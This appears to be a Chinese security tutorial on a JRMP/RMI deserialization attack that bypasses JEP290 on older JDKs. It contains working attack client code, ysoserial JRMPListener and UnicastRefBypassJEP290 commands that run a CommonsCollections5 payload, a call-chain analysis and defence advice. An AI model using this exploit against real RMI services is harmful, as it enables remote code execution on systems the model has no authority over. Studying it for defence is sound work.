JRMP通信攻击过程及利用介绍
字数 1498 2025-08-22 12:22:48

JRMP通信攻击过程及利用详解

1. JRMP协议基础

1.1 JRMP协议概述

  • 定义:JRMP(Java Remote Method Protocol)是Java特有的远程方法调用协议
  • 位置:运行在Java远程方法调用(RMI)之下、TCP/IP之上的线路层协议
  • 漏洞根源:JRMP协议在处理包含Java原生序列化数据时,客户端和服务端都会自动反序列化接收到的数据

1.2 实现方式

  1. JRMP协议:RMI专用的Java远程消息交换协议
  2. IIOP协议:基于CORBA实现的对象请求代理协议

2. RMI基础实现

2.1 定义远程接口

package org.al1ex;
import java.rmi.Remote;
import java.rmi.RemoteException;

public interface HelloService extends Remote {
    String sayHello(String name) throws RemoteException;
}

2.2 实现远程接口

package org.al1ex;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class HelloServiceImpl extends UnicastRemoteObject implements HelloService {
    protected HelloServiceImpl() throws RemoteException {
        super();
    }
    
    public String sayHello(String name) throws RemoteException {
        return "Hello, " + name + "!";
    }
}

2.3 注册对象并启动服务

package org.al1ex;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String[] args) {
        try {
            HelloService helloService = new HelloServiceImpl();
            Registry registry = LocateRegistry.createRegistry(1099);
            registry.rebind("HelloService", helloService);
            System.out.println("RMI Server is ready.");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

2.4 客户端调用

package org.al1ex;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIClient {
    public static void main(String[] args) {
        try {
            Registry registry = LocateRegistry.getRegistry("localhost", 1099);
            HelloService stub = (HelloService) registry.lookup("HelloService");
            String response = stub.sayHello("World");
            System.out.println("Response from server: " + response);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

3. JEP290安全机制

3.1 JEP290简介

  • 引入版本
    • JDK 8u121
    • JDK 7u131
    • JDK 6u141
  • 主要功能
    1. 限制反序列化的深度和复杂度
    2. 为RMI远程调用对象提供验证类机制
    3. 提供限制反序列化类的机制(白名单/黑名单)
    4. 可配置的过滤机制(通过properties文件)

3.2 白名单类

JEP290定义的白名单类包括:

  • String.class
  • Number.class
  • Remote.class
  • Proxy.class
  • UnicastRef.class
  • RMIClientSocketFactory.class
  • RMIServerSocketFactory.class
  • ActivationID.class
  • UID.class

4. JRMP攻击绕过JEP290

4.1 绕过原理

  • 利用点:在JDK8u231之前的版本,注册中心会反序列化UnicastRef类
  • 攻击流程
    1. 使注册中心反序列化UnicastRef类
    2. 该类会发起JRMP连接到恶意JRMP服务端
    3. 在DGC(分布式垃圾收集)层造成反序列化漏洞

4.2 攻击复现

4.2.1 定义测试接口

package RMI;
import java.rmi.Remote;
import java.rmi.RemoteException;

public interface User extends Remote {
    String name(String name) throws RemoteException;
    void say(String say) throws RemoteException;
    void dowork(Object work) throws RemoteException;
}

4.2.2 实现接口

package RMI;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class UserImpl extends UnicastRemoteObject implements User {
    public UserImpl() throws RemoteException {
        super();
    }
    
    @Override
    public String name(String name) throws RemoteException {
        return name;
    }
    
    @Override
    public void say(String say) throws RemoteException {
        System.out.println("you speak" + say);
    }
    
    @Override
    public void dowork(Object work) throws RemoteException {
        System.out.println("your work is " + work);
    }
}

4.2.3 服务端代码

package RMI;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        User user = new UserImpl();
        registry.rebind("HelloRegistry", user);
        System.out.println("rmi start at 1099");
    }
}

4.2.4 攻击客户端代码

package RMI;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.rmi.*;
import java.rmi.registry.*;
import java.rmi.server.*;
import java.util.Random;

public class RMIClient {
    public static void main(String[] args) throws Exception {
        Registry reg = LocateRegistry.getRegistry("localhost", 1099);
        ObjID id = new ObjID(new Random().nextInt());
        TCPEndpoint te = new TCPEndpoint("127.0.0.1", 1088); // JRMPListener端口
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
        Registry proxy = (Registry) Proxy.newProxyInstance(
            RMIClient.class.getClassLoader(),
            new Class[]{Registry.class},
            obj
        );
        reg.bind("Hello", proxy);
    }
}

4.3 攻击步骤

  1. 启动恶意JRMPListener
    java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1088 CommonsCollections5 "cmd.exe /c calc"
    
  2. 启动RMI服务:运行上述RMIServer代码
  3. 执行攻击客户端:运行上述RMIClient代码

5. 攻击原理分析

5.1 关键调用链

  1. 客户端调用bind()方法时,通过UnicastRef对象与注册中心通信
  2. 注册中心接收请求后调用RemoteObject的readObject方法
  3. 最终调用LiveRef.read()解析JRMPListener的IP和端口
  4. 创建DGCClient对象并建立与JRMPListener的连接
  5. JRMPListener返回的恶意数据被反序列化执行

5.2 绕过关键点

  • DGC层的反序列化操作未调用setObjectInputFilter
  • serialFilter为空,不进行白名单检查
  • 直接反序列化JRMP端返回的恶意对象

6. 工具化利用

6.1 ysoserial扩展利用

攻击命令格式

java -cp ysoserial.jar ysoserial.exploit.UnicastRefBypassJEP290 <目标IP> <目标端口> <本地JRMP服务IP> <本地JRMP服务端口>

示例

java -cp ysoserial.jar ysoserial.exploit.UnicastRefBypassJEP290 127.0.0.1 1099 127.0.0.1 1088

7. 防御措施

  1. 升级JDK:至少升级到JDK 8u231或更高版本
  2. 配置过滤器:自定义ObjectInputFilter限制可反序列化的类
  3. 网络隔离:限制RMI服务的网络访问
  4. 监控告警:监控异常的JRMP连接

8. 参考资源

  1. BlackHat EU-19: The Far Sides of Java Remote Protocols
  2. RMI Registry Filter Rejects RMI Configuration Class in Java 8 Update 121
  3. 一次攻击内网RMI服务的深思
JRMP通信攻击过程及利用详解 1. JRMP协议基础 1.1 JRMP协议概述 定义 :JRMP(Java Remote Method Protocol)是Java特有的远程方法调用协议 位置 :运行在Java远程方法调用(RMI)之下、TCP/IP之上的线路层协议 漏洞根源 :JRMP协议在处理包含Java原生序列化数据时,客户端和服务端都会自动反序列化接收到的数据 1.2 实现方式 JRMP协议 :RMI专用的Java远程消息交换协议 IIOP协议 :基于CORBA实现的对象请求代理协议 2. RMI基础实现 2.1 定义远程接口 2.2 实现远程接口 2.3 注册对象并启动服务 2.4 客户端调用 3. JEP290安全机制 3.1 JEP290简介 引入版本 : JDK 8u121 JDK 7u131 JDK 6u141 主要功能 : 限制反序列化的深度和复杂度 为RMI远程调用对象提供验证类机制 提供限制反序列化类的机制(白名单/黑名单) 可配置的过滤机制(通过properties文件) 3.2 白名单类 JEP290定义的白名单类包括: String.class Number.class Remote.class Proxy.class UnicastRef.class RMIClientSocketFactory.class RMIServerSocketFactory.class ActivationID.class UID.class 4. JRMP攻击绕过JEP290 4.1 绕过原理 利用点 :在JDK8u231之前的版本,注册中心会反序列化UnicastRef类 攻击流程 : 使注册中心反序列化UnicastRef类 该类会发起JRMP连接到恶意JRMP服务端 在DGC(分布式垃圾收集)层造成反序列化漏洞 4.2 攻击复现 4.2.1 定义测试接口 4.2.2 实现接口 4.2.3 服务端代码 4.2.4 攻击客户端代码 4.3 攻击步骤 启动恶意JRMPListener : 启动RMI服务 :运行上述RMIServer代码 执行攻击客户端 :运行上述RMIClient代码 5. 攻击原理分析 5.1 关键调用链 客户端调用bind()方法时,通过UnicastRef对象与注册中心通信 注册中心接收请求后调用RemoteObject的readObject方法 最终调用LiveRef.read()解析JRMPListener的IP和端口 创建DGCClient对象并建立与JRMPListener的连接 JRMPListener返回的恶意数据被反序列化执行 5.2 绕过关键点 DGC层的反序列化操作未调用setObjectInputFilter serialFilter为空,不进行白名单检查 直接反序列化JRMP端返回的恶意对象 6. 工具化利用 6.1 ysoserial扩展利用 攻击命令格式 : 示例 : 7. 防御措施 升级JDK :至少升级到JDK 8u231或更高版本 配置过滤器 :自定义ObjectInputFilter限制可反序列化的类 网络隔离 :限制RMI服务的网络访问 监控告警 :监控异常的JRMP连接 8. 参考资源 BlackHat EU-19: The Far Sides of Java Remote Protocols RMI Registry Filter Rejects RMI Configuration Class in Java 8 Update 121 一次攻击内网RMI服务的深思